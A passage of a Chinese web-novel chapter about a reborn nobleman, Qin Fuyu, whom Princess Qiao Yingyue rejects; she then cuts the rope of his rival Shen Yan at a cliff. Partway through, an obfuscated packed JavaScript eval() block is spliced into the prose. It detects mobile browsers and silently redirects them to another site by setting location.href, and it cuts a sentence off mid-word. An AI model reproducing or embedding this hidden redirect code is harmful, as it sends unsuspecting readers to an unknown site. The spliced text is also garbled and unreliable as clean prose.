乔楹月笑出声:“过分?本宫还有更过分的话呢。 你觉得只要稍微给点好脸色,本宫便会摇着尾巴回到你身边?简直痴人做梦! 本宫身边美男无数,哪一个不比你优秀,不比你待本宫诚心? 本宫可以将这些人全部收罗府中,却偏偏不这么做,而是到你面前摇尾乞怜,你自己想想,是本宫疯了,还是你疯了?” 这话说出来好像确实是这么个道理。 但秦拂郁却觉得话不应该这么说! 可这会儿面对乔楹月冰冷的表情,他内心的支点被碎了一角,隐隐有些不自信起来。 “公主不要再说气话了,公主若再这么说下,拂郁就真的伤心了!” “你竟有心?真是天大的笑话!” 秦拂郁发怔起来。 不对。 这一切与他预想的不对! 前世的她明明到底都对他深爱不已。 如今他重生了,已经改过自新,她怎么就不愿意与他好了呢? 肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370149|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是还在生他的气! 沈砚此人奸诈狡猾,肯定是他将计就计,故意用乔楹月伤他,目的就是为了将乔楹月从他身边抢走! 沈砚此人好生险恶! 他必须当着乔楹月的面将他揭穿! “公主!我明白了,这一切都是沈砚的阴谋,他故意激我来这里,故意挑拨我们的关系,故意让公主愤怒失去理智,对我说出狠话! 一旦我们的关系破裂,他便可以趁虚而入,抱得美人归!” 沈砚不悦挑眉,但是想了想,又觉得这话也没有完全冤枉他。 一看见沈砚的表情,秦拂郁便像找到了犯罪证据般激动起来。 “公主自己看!他心虚都不说话了!” 乔楹月看向沈砚,果真看见这厮的表情是承认了一切,她皱眉,义正言辞的说道: “沈大人英俊潇洒,文采斐然,武功卓绝,若是沈大人对本宫有爱慕之心,无需沈大人暗中出手,沈大人只需要勾勾手指头,本宫便会主动投怀送抱。” 秦拂郁错愕。 此等大逆不道之言没有哪个女子干当众说出。 眼下乔楹月不仅说了,还当着他的面。 看来是真气狠了。 前世自己做的那些事儿确实过分,平心而论,乔楹月捅的这一刀都是轻的。 若是让乔楹月将前世的怨气全部发泄出来,他们的之间的误会便能消除,他们的关系便能回到从前。 “公主尽管骂吧,我都受着,等公主骂完了,我们便好好过日子! 眼下我和沈砚挂在崖上已经许久,公主还是快些做出抉择吧!” 秦拂郁笃定,乔楹月再怎么跟他生气,心里都还是在意他的,最终肯定会割他的绳子将他救下! 看到秦拂郁脸上的自信,乔楹月要恶心吐了。 看来跟此人说再多都没用。 那就没必要再多说,直接做给他看好了。 她拎着长剑走到沈砚面前,手起剑落割断了他腰上的绳子。 林酒正要将人接住,那个那人已经自己跳上来,顺势跌在了他家公主的肩头。 “公主,微臣受惊了。”